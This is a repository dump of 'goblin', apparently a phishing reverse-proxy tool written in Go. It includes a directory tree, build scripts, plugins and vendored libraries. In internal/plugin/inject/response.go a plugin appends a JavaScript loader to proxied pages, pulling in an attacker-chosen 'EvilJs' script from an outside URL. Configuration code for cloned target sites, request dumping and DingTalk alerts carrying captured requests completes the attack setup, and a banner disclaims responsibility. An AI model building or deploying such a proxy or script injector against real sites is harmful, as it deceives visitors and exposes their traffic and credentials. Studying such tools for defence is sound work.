├── LICENSE │ │ ├── README.md │ │ ├── bytebuffer.go │ │ ├── doc.go │ │ └── pool.go └── x-cray │ └── logrus-prefixed-formatter │ ├── .gitignore │ ├── .travis.yml │ ├── LICENSE │ ├── Makefile │ ├── README.md │ └── formatter.go ├── golang.org └── x │ ├── crypto │ ├── AUTHORS │ ├── CONTRIBUTORS │ ├── LICENSE │ ├── PATENTS │ ├── bcrypt │ │ ├── base64.go │ │ └── bcrypt.go │ ├── blowfish │ │ ├── block.go │ │ ├── cipher.go │ │ └── const.go │ └── ssh │ │ └── terminal │ │ ├── terminal.go │ │ ├── util.go │ │ ├── util_aix.go │ │ ├── util_bsd.go │ │ ├── util_linux.go │ │ ├── util_plan9.go │ │ ├── util_solaris.go │ │ └── util_windows.go │ └── sys │ ├── AUTHORS │ ├── CONTRIBUTORS │ ├── LICENSE │ ├── PATENTS │ ├── internal │ └── unsafeheader │ │ └── unsafeheader.go │ ├── unix │ ├── .gitignore │ ├── README.md │ ├── affinity_linux.go │ ├── aliases.go │ ├── asm_aix_ppc64.s │ ├── asm_bsd_386.s │ ├── asm_bsd_amd64.s │ ├── asm_bsd_arm.s │ ├── asm_bsd_arm64.s │ ├── asm_linux_386.s │ ├── asm_linux_amd64.s │ ├── asm_linux_arm.s │ ├── asm_linux_arm64.s │ ├── asm_linux_mips64x.s │ ├── asm_linux_mipsx.s │ ├── asm_linux_ppc64x.s │ ├── asm_linux_riscv64.s │ ├── asm_linux_s390x.s │ ├── asm_openbsd_mips64.s │ ├── asm_solaris_amd64.s │ ├── asm_zos_s390x.s │ ├── bluetooth_linux.go │ ├── cap_freebsd.go │ ├── constants.go │ ├── dev_aix_ppc.go │ ├── dev_aix_ppc64.go │ ├── dev_darwin.go │ ├── dev_dragonfly.go │ ├── dev_freebsd.go │ ├── dev_linux.go │ ├── dev_netbsd.go │ ├── dev_openbsd.go │ ├── dev_zos.go │ ├── dirent.go │ ├── endian_big.go │ ├── endian_little.go │ ├── env_unix.go │ ├── epoll_zos.go │ ├── errors_freebsd_386.go │ ├── errors_freebsd_amd64.go │ ├── errors_freebsd_arm.go │ ├── errors_freebsd_arm64.go │ ├── fcntl.go │ ├── fcntl_darwin.go │ ├── fcntl_linux_32bit.go │ ├── fdset.go │ ├── fstatfs_zos.go │ ├── gccgo.go │ ├── gccgo_c.c │ ├── gccgo_linux_amd64.go │ ├── ioctl.go │ ├── ioctl_linux.go │ ├── ioctl_zos.go │ ├── mkall.sh │ ├── mkerrors.sh │ ├── pagesize_unix.go │ ├── pledge_openbsd.go │ ├── ptrace_darwin.go │ ├── ptrace_ios.go │ ├── race.go │ ├── race0.go │ ├── readdirent_getdents.go │ ├── readdirent_getdirentries.go │ ├── sockcmsg_dragonfly.go │ ├── sockcmsg_linux.go │ ├── sockcmsg_unix.go │ ├── sockcmsg_unix_other.go │ ├── str.go │ ├── syscall.go │ ├── syscall_aix.go │ ├── syscall_aix_ppc.go │ ├── syscall_aix_ppc64.go │ ├── syscall_bsd.go │ ├── syscall_darwin.1_12.go │ ├── syscall_darwin.1_13.go │ ├── syscall_darwin.go │ ├── syscall_darwin_386.go │ ├── syscall_darwin_amd64.go │ ├── syscall_darwin_arm.go │ ├── syscall_darwin_arm64.go │ ├── syscall_darwin_libSystem.go │ ├── syscall_dragonfly.go │ ├── syscall_dragonfly_amd64.go │ ├── syscall_freebsd.go │ ├── syscall_freebsd_386.go │ ├── syscall_freebsd_amd64.go │ ├── syscall_freebsd_arm.go │ ├── syscall_freebsd_arm64.go │ ├── syscall_illumos.go │ ├── syscall_linux.go │ ├── syscall_linux_386.go │ ├── syscall_linux_amd64.go │ ├── syscall_linux_amd64_gc.go │ ├── syscall_linux_arm.go │ ├── syscall_linux_arm64.go │ ├── syscall_linux_gc.go │ ├── syscall_linux_gc_386.go │ ├── syscall_linux_gc_arm.go │ ├── syscall_linux_gccgo_386.go │ ├── syscall_linux_gccgo_arm.go │ ├── syscall_linux_mips64x.go │ ├── syscall_linux_mipsx.go │ ├── syscall_linux_ppc.go │ ├── syscall_linux_ppc64x.go │ ├── syscall_linux_riscv64.go │ ├── syscall_linux_s390x.go │ ├── syscall_linux_sparc64.go │ ├── syscall_netbsd.go │ ├── syscall_netbsd_386.go │ ├── syscall_netbsd_amd64.go │ ├── syscall_netbsd_arm.go │ ├── syscall_netbsd_arm64.go │ ├── syscall_openbsd.go │ ├── syscall_openbsd_386.go │ ├── syscall_openbsd_amd64.go │ ├── syscall_openbsd_arm.go │ ├── syscall_openbsd_arm64.go │ ├── syscall_openbsd_mips64.go │ ├── syscall_solaris.go │ ├── syscall_solaris_amd64.go │ ├── syscall_unix.go │ ├── syscall_unix_gc.go │ ├── syscall_unix_gc_ppc64x.go │ ├── syscall_zos_s390x.go │ ├── timestruct.go │ ├── unveil_openbsd.go │ ├── xattr_bsd.go │ ├── zerrors_aix_ppc.go │ ├── zerrors_aix_ppc64.go │ ├── zerrors_darwin_386.go │ ├── zerrors_darwin_amd64.go │ ├── zerrors_darwin_arm.go │ ├── zerrors_darwin_arm64.go │ ├── zerrors_dragonfly_amd64.go │ ├── zerrors_freebsd_386.go │ ├── zerrors_freebsd_amd64.go │ ├── zerrors_freebsd_arm.go │ ├── zerrors_freebsd_arm64.go │ ├── zerrors_linux.go │ ├── zerrors_linux_386.go │ ├── zerrors_linux_amd64.go │ ├── zerrors_linux_arm.go │ ├── zerrors_linux_arm64.go │ ├── zerrors_linux_mips.go │ ├── zerrors_linux_mips64.go │ ├── zerrors_linux_mips64le.go │ ├── zerrors_linux_mipsle.go │ ├── zerrors_linux_ppc.go │ ├── zerrors_linux_ppc64.go │ ├── zerrors_linux_ppc64le.go │ ├── zerrors_linux_riscv64.go │ ├── zerrors_linux_s390x.go │ ├── zerrors_linux_sparc64.go │ ├── zerrors_netbsd_386.go │ ├── zerrors_netbsd_amd64.go │ ├── zerrors_netbsd_arm.go │ ├── zerrors_netbsd_arm64.go │ ├── zerrors_openbsd_386.go │ ├── zerrors_openbsd_amd64.go │ ├── zerrors_openbsd_arm.go │ ├── zerrors_openbsd_arm64.go │ ├── zerrors_openbsd_mips64.go │ ├── zerrors_solaris_amd64.go │ ├── zerrors_zos_s390x.go │ ├── zptrace_armnn_linux.go │ ├── zptrace_linux_arm64.go │ ├── zptrace_mipsnn_linux.go │ ├── zptrace_mipsnnle_linux.go │ ├── zptrace_x86_linux.go │ ├── zsyscall_aix_ppc.go │ ├── zsyscall_aix_ppc64.go │ ├── zsyscall_aix_ppc64_gc.go │ ├── zsyscall_aix_ppc64_gccgo.go │ ├── zsyscall_darwin_386.1_13.go │ ├── zsyscall_darwin_386.1_13.s │ ├── zsyscall_darwin_386.go │ ├── zsyscall_darwin_386.s │ ├── zsyscall_darwin_amd64.1_13.go │ ├── zsyscall_darwin_amd64.1_13.s │ ├── zsyscall_darwin_amd64.go │ ├── zsyscall_darwin_amd64.s │ ├── zsyscall_darwin_arm.1_13.go │ ├── zsyscall_darwin_arm.1_13.s │ ├── zsyscall_darwin_arm.go │ ├── zsyscall_darwin_arm.s │ ├── zsyscall_darwin_arm64.1_13.go │ ├── zsyscall_darwin_arm64.1_13.s │ ├── zsyscall_darwin_arm64.go │ ├── zsyscall_darwin_arm64.s │ ├── zsyscall_dragonfly_amd64.go │ ├── zsyscall_freebsd_386.go │ ├── zsyscall_freebsd_amd64.go │ ├── zsyscall_freebsd_arm.go │ ├── zsyscall_freebsd_arm64.go │ ├── zsyscall_illumos_amd64.go │ ├── zsyscall_linux.go │ ├── zsyscall_linux_386.go │ ├── zsyscall_linux_amd64.go │ ├── zsyscall_linux_arm.go │ ├── zsyscall_linux_arm64.go │ ├── zsyscall_linux_mips.go │ ├── zsyscall_linux_mips64.go │ ├── zsyscall_linux_mips64le.go │ ├── zsyscall_linux_mipsle.go │ ├── zsyscall_linux_ppc.go │ ├── zsyscall_linux_ppc64.go │ ├── zsyscall_linux_ppc64le.go │ ├── zsyscall_linux_riscv64.go │ ├── zsyscall_linux_s390x.go │ ├── zsyscall_linux_sparc64.go │ ├── zsyscall_netbsd_386.go │ ├── zsyscall_netbsd_amd64.go │ ├── zsyscall_netbsd_arm.go │ ├── zsyscall_netbsd_arm64.go │ ├── zsyscall_openbsd_386.go │ ├── zsyscall_openbsd_amd64.go │ ├── zsyscall_openbsd_arm.go │ ├── zsyscall_openbsd_arm64.go │ ├── zsyscall_openbsd_mips64.go │ ├── zsyscall_solaris_amd64.go │ ├── zsyscall_zos_s390x.go │ ├── zsysctl_openbsd_386.go │ ├── zsysctl_openbsd_amd64.go │ ├── zsysctl_openbsd_arm.go │ ├── zsysctl_openbsd_arm64.go │ ├── zsysctl_openbsd_mips64.go │ ├── zsysnum_darwin_386.go │ ├── zsysnum_darwin_amd64.go │ ├── zsysnum_darwin_arm.go │ ├── zsysnum_darwin_arm64.go │ ├── zsysnum_dragonfly_amd64.go │ ├── zsysnum_freebsd_386.go │ ├── zsysnum_freebsd_amd64.go │ ├── zsysnum_freebsd_arm.go │ ├── zsysnum_freebsd_arm64.go │ ├── zsysnum_linux_386.go │ ├── zsysnum_linux_amd64.go │ ├── zsysnum_linux_arm.go │ ├── zsysnum_linux_arm64.go │ ├── zsysnum_linux_mips.go │ ├── zsysnum_linux_mips64.go │ ├── zsysnum_linux_mips64le.go │ ├── zsysnum_linux_mipsle.go │ ├── zsysnum_linux_ppc.go │ ├── zsysnum_linux_ppc64.go │ ├── zsysnum_linux_ppc64le.go │ ├── zsysnum_linux_riscv64.go │ ├── zsysnum_linux_s390x.go │ ├── zsysnum_linux_sparc64.go │ ├── zsysnum_netbsd_386.go │ ├── zsysnum_netbsd_amd64.go │ ├── zsysnum_netbsd_arm.go │ ├── zsysnum_netbsd_arm64.go │ ├── zsysnum_openbsd_386.go │ ├── zsysnum_openbsd_amd64.go │ ├── zsysnum_openbsd_arm.go │ ├── zsysnum_openbsd_arm64.go │ ├── zsysnum_openbsd_mips64.go │ ├── zsysnum_zos_s390x.go │ ├── ztypes_aix_ppc.go │ ├── ztypes_aix_ppc64.go │ ├── ztypes_darwin_386.go │ ├── ztypes_darwin_amd64.go │ ├── ztypes_darwin_arm.go │ ├── ztypes_darwin_arm64.go │ ├── ztypes_dragonfly_amd64.go │ ├── ztypes_freebsd_386.go │ ├── ztypes_freebsd_amd64.go │ ├── ztypes_freebsd_arm.go │ ├── ztypes_freebsd_arm64.go │ ├── ztypes_illumos_amd64.go │ ├── ztypes_linux.go │ ├── ztypes_linux_386.go │ ├── ztypes_linux_amd64.go │ ├── ztypes_linux_arm.go │ ├── ztypes_linux_arm64.go │ ├── ztypes_linux_mips.go │ ├── ztypes_linux_mips64.go │ ├── ztypes_linux_mips64le.go │ ├── ztypes_linux_mipsle.go │ ├── ztypes_linux_ppc.go │ ├── ztypes_linux_ppc64.go │ ├── ztypes_linux_ppc64le.go │ ├── ztypes_linux_riscv64.go │ ├── ztypes_linux_s390x.go │ ├── ztypes_linux_sparc64.go │ ├── ztypes_netbsd_386.go │ ├── ztypes_netbsd_amd64.go │ ├── ztypes_netbsd_arm.go │ ├── ztypes_netbsd_arm64.go │ ├── ztypes_openbsd_386.go │ ├── ztypes_openbsd_amd64.go │ ├── ztypes_openbsd_arm.go │ ├── ztypes_openbsd_arm64.go │ ├── ztypes_openbsd_mips64.go │ ├── ztypes_solaris_amd64.go │ └── ztypes_zos_s390x.go │ └── windows │ ├── aliases.go │ ├── dll_windows.go │ ├── empty.s │ ├── env_windows.go │ ├── eventlog.go │ ├── exec_windows.go │ ├── memory_windows.go │ ├── mkerrors.bash │ ├── mkknownfolderids.bash │ ├── mksyscall.go │ ├── race.go │ ├── race0.go │ ├── security_windows.go │ ├── service.go │ ├── setupapierrors_windows.go │ ├── str.go │ ├── syscall.go │ ├── syscall_windows.go │ ├── types_windows.go │ ├── types_windows_386.go │ ├── types_windows_amd64.go │ ├── types_windows_arm.go │ ├── types_windows_arm64.go │ ├── zerrors_windows.go │ ├── zknownfolderids_windows.go │ └── zsyscall_windows.go ├── gopkg.in ├── sohlich │ ├── elogrus.v3 │ │ ├── .travis.yml │ │ ├── LICENSE │ │ ├── README.MD │ │ └── hook.go │ └── elogrus.v7 │ │ ├── .gitignore │ │ ├── .travis.yml │ │ ├── LICENSE │ │ ├── README.MD │ │ └── hook.go └── yaml.v2 │ ├── .travis.yml │ ├── LICENSE │ ├── LICENSE.libyaml │ ├── NOTICE │ ├── README.md │ ├── apic.go │ ├── decode.go │ ├── emitterc.go │ ├── encode.go │ ├── parserc.go │ ├── readerc.go │ ├── resolve.go │ ├── scannerc.go │ ├── sorter.go │ ├── writerc.go │ ├── yaml.go │ ├── yamlh.go │ └── yamlprivateh.go ├── modules.txt └── unknwon.dev └── clog └── v2 ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── clog.go ├── codecov.yml ├── console.go ├── discord.go ├── file.go ├── logger.go ├── message.go └── slack.go /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /Demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiecat/goblin/fcd0eb1fb7c5ec8c5b3cc1c1ccf539fb154e58fe/Demo.gif -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM scratch 2 | COPY goblin /usr/bin/goblin 3 | ENTRYPOINT ["/usr/bin/goblin"] 4 | WORKDIR /goblin -------------------------------------------------------------------------------- /cmd/goblin/goblin.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "goblin/internal/options" 5 | "goblin/internal/reverse" 6 | "os" 7 | "os/signal" 8 | "syscall" 9 | log "unknwon.dev/clog/v2" 10 | ) 11 | 12 | const ( 13 | LogConsoleNum = 100 14 | ) 15 | 16 | func main() { 17 | _ = log.NewConsole(LogConsoleNum, 18 | log.ConsoleConfig{ 19 | Level: log.LevelWarn, 20 | }) 21 | // 命令行和全局配置初始化 22 | options := *options.ParseOptions() 23 | 24 | _ = log.NewFile( 25 | log.FileConfig{ 26 | Level: options.SetLogLevel(), 27 | Filename: options.LogFile, 28 | }, 29 | ) 30 | defer log.Stop() 31 | // 数据库配置初始化 32 | options.Cache.Init() 33 | // 检查缓存系统是否正常 34 | if err := options.Cache.ValidateCachePing(); err != nil { 35 | log.Fatal("%s", err.Error()) 36 | } 37 | // IP 数据库初始化 38 | options.IPLocation.Init() 39 | 40 | // 初始化所有服务 41 | s := reverse.InitServerConfig(&options) 42 | // 开始服务 43 | s.Start() 44 | 45 | // 等待中断信号 46 | c := make(chan os.Signal, 1) 47 | signal.Notify(c, os.Interrupt, syscall.SIGTERM) 48 | <-c 49 | 50 | // 停止所有服务 51 | s.Stop() 52 | log.Error("All listeners shut down. Exiting.") 53 | } 54 | -------------------------------------------------------------------------------- /internal/msgpack/msgpack.go: -------------------------------------------------------------------------------- 1 | package msgpack 2 | 3 | import ( 4 | "bytes" 5 | 6 | "github.com/ugorji/go/codec" 7 | ) 8 | 9 | var msgpackHandler codec.MsgpackHandle 10 | 11 | // Encode - Encodes object with msgpack. 12 | func Encode(obj interface{}) ([]byte, error) { 13 | buff := new(bytes.Buffer) 14 | encoder := codec.NewEncoder(buff, &msgpackHandler) 15 | err := encoder.Encode(obj) 16 | 17 | return buff.Bytes(), err 18 | } 19 | 20 | // Decode - Decodes object with msgpack. 21 | func Decode(b []byte, v interface{}) error { 22 | decoder := codec.NewDecoderBytes(b, &msgpackHandler) 23 | 24 | return decoder.Decode(v) 25 | } 26 | -------------------------------------------------------------------------------- /internal/options/banner.go: -------------------------------------------------------------------------------- 1 | package options 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | const banner = ` 8 | ────────╔╗──╔╗ 9 | ────────║║──║║ 10 | ╔══╗╔══╗║╚═╗║║─╔╗╔══╗ 11 | ║╔╗║║╔╗║║╔╗║║║─╠╣║╔╗╗ 12 | ║╚╝║║╚╝║║╚╝║║╚╗║║║║║║ 13 | ╚═╗║╚══╝╚══╝╚═╝╚╝╚╝╚╝ 14 | ╔═╝║ %s - %s 15 | ╚══╝ 16 | ` 17 | 18 | // Version is the current version of goblin 19 | var ( 20 | Version = "unknown" 21 | Commit = "unknown" 22 | Branch = "unknown" 23 | Release = "unknown" 24 | ) 25 | 26 | // showBanner is used to show the banner to the user 27 | func showBanner() { 28 | fmt.Printf("%s", fmt.Sprintf(banner, Version, Release)) 29 | //fmt.Printf("\t version: %s\n\n", Version) 30 | fmt.Printf("\tFrom: %s\n\n", "https://github.com/xiecat/goblin") 31 | fmt.Println("Please use this tool within the scope of the license.") 32 | fmt.Println("goblin is not responsible for any risks arising from the use of the tool.") 33 | fmt.Println("Use agrees to this statement\n ") 34 | } 35 | -------------------------------------------------------------------------------- /internal/options/proxy.go: -------------------------------------------------------------------------------- 1 | package options 2 | 3 | import ( 4 | "time" 5 | ) 6 | 7 | type Proxy struct { 8 | MaxIdleConns int `yaml:"MaxIdleConns"` 9 | MaxIdleConnsPerHost int `yaml:"MaxIdleConnsPerHost"` 10 | MaxConnsPerHost int `yaml:"MaxConnsPerHost"` 11 | IdleConnTimeout time.Duration `yaml:"IdleConnTimeout"` 12 | TLSHandshakeTimeout time.Duration `yaml:"TLSHandshakeTimeout"` 13 | ExpectContinueTimeout time.Duration `yaml:"ExpectContinueTimeout"` 14 | MaxContentLength int //处理响应体的最大长度 15 | ProxyServerAddr string `yaml:"ProxyServerAddr"` // socks5:// 16 | ProxyCheckURL string `yaml:"ProxyCheckURL"` 17 | PluginDir string `yaml:"PluginDir"` 18 | CertDir string `yaml:"CertDir"` 19 | Sites ProxySite `yaml:"Site"` 20 | } 21 | 22 | type ProxySite map[string]struct { 23 | ListenIP string `yaml:"Listen"` 24 | StaticPrefix string `yaml:"StaticPrefix"` 25 | SSL bool `yaml:"SSL"` // http https 26 | CAKey string `yaml:"CAKey"` 27 | CACert string `yaml:"CACert"` 28 | ProxyPass string `yaml:"ProxyPass"` 29 | Rules string `yaml:"Plugin"` 30 | } 31 | -------------------------------------------------------------------------------- /internal/plugin/dump/types.go: -------------------------------------------------------------------------------- 1 | package dump 2 | 3 | var Method = []string{"GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "TRACE"} 4 | 5 | type Dump struct { 6 | Request *Request `yaml:"Request"` 7 | Response *Response `yaml:"Response"` 8 | Notice bool 9 | } 10 | 11 | // Request 请求头 12 | type Request struct { 13 | Method []string `yaml:"Method"` 14 | } 15 | 16 | // Response 响应头 17 | type Response struct { 18 | Status int `yaml:"Status"` 19 | Header map[string]string `yaml:"Header"` 20 | Body string `yaml:"Body"` 21 | } 22 | -------------------------------------------------------------------------------- /internal/plugin/inject/response.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io/ioutil" 7 | "net/http" 8 | "time" 9 | 10 | log "unknwon.dev/clog/v2" 11 | ) 12 | 13 | func (inject *InjectJs) ReplaceJs(response *http.Response) error { 14 | start := time.Now() 15 | // append 16 | if inject == nil { 17 | return nil 18 | } 19 | if inject.EvilJs != "" { 20 | defer log.Info("[time] url: %s,payload:%s, inject hand time: %v", response.Request.RequestURI, inject.EvilJs, time.Since(start)) 21 | log.Info("Host:%s EvilJs: %s", response.Request.URL.Path, inject.EvilJs) 22 | body, err := ioutil.ReadAll(response.Body) 23 | if err != nil { 24 | return err 25 | } 26 | js := `;;(function() {var hm = document.createElement("script");hm.src = "%s";var s = document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm, s);})();` 27 | 28 | payload := fmt.Sprintf(js, inject.EvilJs) 29 | log.Info("url :%s, payload: %s\n", response.Request.RequestURI, inject.EvilJs) 30 | body = append(body, payload...) 31 | 32 | response.Body = ioutil.NopCloser(bytes.NewBuffer(body)) 33 | response.Header.Set("Content-Length", fmt.Sprint(len(body))) 34 | } 35 | return nil 36 | } 37 | -------------------------------------------------------------------------------- /internal/plugin/inject/types.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | type InjectJs struct { 4 | EvilJs string `yaml:"File"` 5 | } 6 | -------------------------------------------------------------------------------- /internal/plugin/replace/request.go: -------------------------------------------------------------------------------- 1 | package replace 2 | 3 | import ( 4 | "net/http" 5 | 6 | "goblin/pkg/utils" 7 | ) 8 | 9 | func (rqRule *Request) Request(r *http.Request) error { 10 | if rqRule == nil { 11 | return nil 12 | } 13 | 14 | if !utils.EleInArray(r.Method, rqRule.Method) { 15 | return nil 16 | } 17 | if rqRule.Header != nil { 18 | for hkey, hvalue := range rqRule.Header { 19 | if hvalue == "" { 20 | r.Header.Del(hkey) 21 | } else { 22 | r.Header.Set(hkey, hvalue) 23 | } 24 | } 25 | } 26 | return nil 27 | } 28 | -------------------------------------------------------------------------------- /pkg/cache/cache/cache.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | import ( 4 | "time" 5 | 6 | cacheNew "github.com/patrickmn/go-cache" 7 | ) 8 | 9 | func Init(expTime time.Duration) *cacheNew.Cache { 10 | return cacheNew.New(5*time.Minute, expTime*time.Minute) 11 | } 12 | -------------------------------------------------------------------------------- /pkg/cache/nocache/cache.go: -------------------------------------------------------------------------------- 1 | package nocache 2 | 3 | import "time" 4 | 5 | func Init() *Cache { 6 | return &Cache{} 7 | } 8 | 9 | type Cache struct { 10 | } 11 | 12 | func (c *Cache) Set(k string, x interface{}, d time.Duration) { 13 | 14 | } 15 | 16 | func (c *Cache) Get(k string) (interface{}, bool) { 17 | return nil, false 18 | } 19 | -------------------------------------------------------------------------------- /pkg/cache/redis/redis.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/go-redis/redis/v8" 7 | ) 8 | 9 | func Init(conf *Config) *redis.Client { 10 | return redis.NewClient(&redis.Options{ 11 | Addr: fmt.Sprintf("%s:%d", conf.Host, conf.Port), 12 | Password: conf.Password, // no password set 13 | DB: conf.DB, // use default DB 14 | }) 15 | } 16 | -------------------------------------------------------------------------------- /pkg/cache/redis/types.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "fmt" 5 | "goblin/pkg/utils" 6 | ) 7 | 8 | // Config redis 认证配置 9 | type Config struct { 10 | Host string `yaml:"host"` // database address 11 | Port int `yaml:"port"` // database port 12 | Password string `yaml:"password"` // database password 13 | DB int `yaml:"db"` // database username 14 | } 15 | 16 | func (db *Config) ValidateDsn() error { 17 | if !utils.IsHost(db.Host) { 18 | return fmt.Errorf("the value of %s host is not in ipctl format or domainmde err", "redis") 19 | } 20 | if !utils.IsPort(db.Port) { 21 | return fmt.Errorf(" %s Port range of (0,65535], you set %d \n", "redis", db.Port) 22 | } 23 | return nil 24 | } 25 | -------------------------------------------------------------------------------- /pkg/ipinfo/database.go: -------------------------------------------------------------------------------- 1 | package ipinfo 2 | 3 | type Database interface { 4 | Area(string) string 5 | } 6 | -------------------------------------------------------------------------------- /pkg/ipinfo/ipinfo.go: -------------------------------------------------------------------------------- 1 | package ipinfo 2 | 3 | import ( 4 | "goblin/pkg/ipinfo/geoip" 5 | "goblin/pkg/ipinfo/qqwry" 6 | "strings" 7 | log "unknwon.dev/clog/v2" 8 | ) 9 | 10 | var DB Database 11 | 12 | func Area(ip string) string { 13 | if DB != nil { 14 | return DB.Area(ip) 15 | } 16 | return "" 17 | } 18 | 19 | func (config *Config) Init() { 20 | switch config.Type { 21 | case "qqwry": 22 | DB = qqwry.New() 23 | case "geoip": 24 | DB = geoip.New(config.GeoLicenseKey) 25 | default: 26 | log.Fatal("wrong ipctl location database type: %q, type must %s", config.Type, strings.Join(ipType, ",")) 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /pkg/ipinfo/types.go: -------------------------------------------------------------------------------- 1 | package ipinfo 2 | 3 | import ( 4 | "fmt" 5 | "goblin/pkg/utils" 6 | "strings" 7 | ) 8 | 9 | // 支持数据库类型 10 | var ipType = []string{"qqwry", "geoip"} 11 | 12 | type Config struct { 13 | Type string `yaml:"type"` 14 | GeoLicenseKey string `yaml:"geo_license_key"` 15 | } 16 | 17 | // ValidateType 验证数据库配置信息 18 | func (db *Config) ValidateType() error { 19 | if !utils.StrEqualOrInList(db.Type, ipType) { 20 | return fmt.Errorf("Ip db value %s type must %s ", db.Type, strings.Join(ipType, ",")) 21 | } 22 | // 23 | if db.Type == "geoip" { 24 | if db.GeoLicenseKey == "" { 25 | return fmt.Errorf("geoip license_key is null") 26 | } 27 | } 28 | return nil 29 | } 30 | -------------------------------------------------------------------------------- /pkg/notice/types.go: -------------------------------------------------------------------------------- 1 | package notice 2 | 3 | type DingTalk struct { 4 | URL string `yaml:"DingTalk"` 5 | } 6 | 7 | type dingAt struct { 8 | AtMobiles []string `json:"atMobiles"` 9 | IsAtAll bool `json:"isAtAll"` 10 | } 11 | 12 | type dingMarkdown struct { 13 | Title string `json:"title"` 14 | Text string `json:"text"` 15 | } 16 | 17 | type dingPayload struct { 18 | MsgType string `json:"msgtype"` 19 | Markdown dingMarkdown `json:"markdown"` 20 | At []dingAt `json:"at"` 21 | } 22 | 23 | type Msg struct { 24 | Target string 25 | Rule string 26 | Path string 27 | Remote string 28 | Location string 29 | RequestDump string 30 | } 31 | -------------------------------------------------------------------------------- /pkg/utils/file.go: -------------------------------------------------------------------------------- 1 | // Package utils 文件操作类 2 | package utils 3 | 4 | import ( 5 | "os" 6 | "path/filepath" 7 | ) 8 | 9 | func FileExist(path string) bool { 10 | _, err := os.Lstat(path) 11 | if err != nil { 12 | return false 13 | } 14 | return !os.IsNotExist(err) 15 | } 16 | 17 | func BinBaseDir() string { 18 | ex, err := os.Executable() 19 | if err != nil { 20 | panic(err) 21 | } 22 | return filepath.Dir(ex) 23 | } 24 | -------------------------------------------------------------------------------- /pkg/utils/password.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "github.com/google/uuid" 5 | "golang.org/x/crypto/bcrypt" 6 | ) 7 | 8 | // HashAndSalt 加密密码 9 | func HashAndSalt(pwd string) (string, error) { 10 | hash, err := bcrypt.GenerateFromPassword([]byte(pwd), bcrypt.MinCost) 11 | if err != nil { 12 | return "", err 13 | } 14 | return string(hash), nil 15 | } 16 | 17 | func ValidatePWD(hashedPwd, plainPwd string) bool { 18 | byteHash := []byte(hashedPwd) 19 | err := bcrypt.CompareHashAndPassword(byteHash, []byte(plainPwd)) 20 | return err == nil 21 | } 22 | 23 | func GenerateUUID() string { 24 | // 使用标准库中的 uuid 包生成 UUID 25 | id := uuid.New() 26 | return id.String() 27 | } 28 | -------------------------------------------------------------------------------- /script/deps.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | NEEDED_COMMANDS="go git goreleaser golangci-lint" 4 | 5 | for cmd in ${NEEDED_COMMANDS} ; do 6 | if ! command -v "${cmd}" &> /dev/null ; then 7 | echo -e "\033[91m${cmd} missing please install \033[0m" 8 | exit 1 9 | else 10 | echo "${cmd} found" 11 | fi 12 | done 13 | 14 | # upx 15 | ## https://upx.github.io/ 16 | 17 | # Git 18 | ## https://git-scm.com/ 19 | 20 | # Go 21 | ## https://golang.org/ 22 | 23 | # goreleaser 24 | ## https://github.com/goreleaser/goreleaser 25 | ## go install github.com/goreleaser/goreleaser 26 | ## Mac: brew install goreleaser 27 | ## Ubuntu: apt install goreleaser 28 | 29 | # golang-ci-lint 30 | ## https://github.com/golangci/golangci-lint 31 | ## Mac: brew install golangci-lint 32 | ## go get github.com/golangci/golangci-lint/cmd/golangci-lint@v1.40.1 -------------------------------------------------------------------------------- /script/tidy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | export GOPROXY=https://goproxy.cn 4 | go mod tidy -------------------------------------------------------------------------------- /script/upx.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | upx dist/cloudtools_linux_amd64/cloudtools -------------------------------------------------------------------------------- /vendor/github.com/axgle/mahonia/README.md: -------------------------------------------------------------------------------- 1 | mahonia 2 | ======= 3 | 4 | character-set conversion library implemented in Go. 5 | 6 | Mahonia is a character-set conversion library implemented in Go. 7 | All data is compiled into the executable; it doesn't need any external data files. 8 | 9 | based on http://code.google.com/p/mahonia/ 10 | 11 | install 12 | ------- 13 | 14 | go get github.com/axgle/mahonia 15 | 16 | example 17 | ------- 18 | 19 | package main 20 | import "fmt" 21 | import "github.com/axgle/mahonia" 22 | func main(){ 23 | enc:=mahonia.NewEncoder("gbk") 24 | //converts a string from UTF-8 to gbk encoding. 25 | fmt.Println(enc.ConvertString("hello,世界")) 26 | } 27 | 28 | -------------------------------------------------------------------------------- /vendor/github.com/axgle/mahonia/fallback.go: -------------------------------------------------------------------------------- 1 | package mahonia 2 | 3 | // FallbackDecoder combines a series of Decoders into one. 4 | // If the first Decoder returns a status of INVALID_CHAR, the others are tried as well. 5 | // 6 | // Note: if the text to be decoded ends with a sequence of bytes that is not a valid character in the first charset, 7 | // but it could be the beginning of a valid character, the FallbackDecoder will give a status of NO_ROOM instead of 8 | // falling back to the other Decoders. 9 | func FallbackDecoder(decoders ...Decoder) Decoder { 10 | return func(p []byte) (c rune, size int, status Status) { 11 | for _, d := range decoders { 12 | c, size, status = d(p) 13 | if status != INVALID_CHAR { 14 | return 15 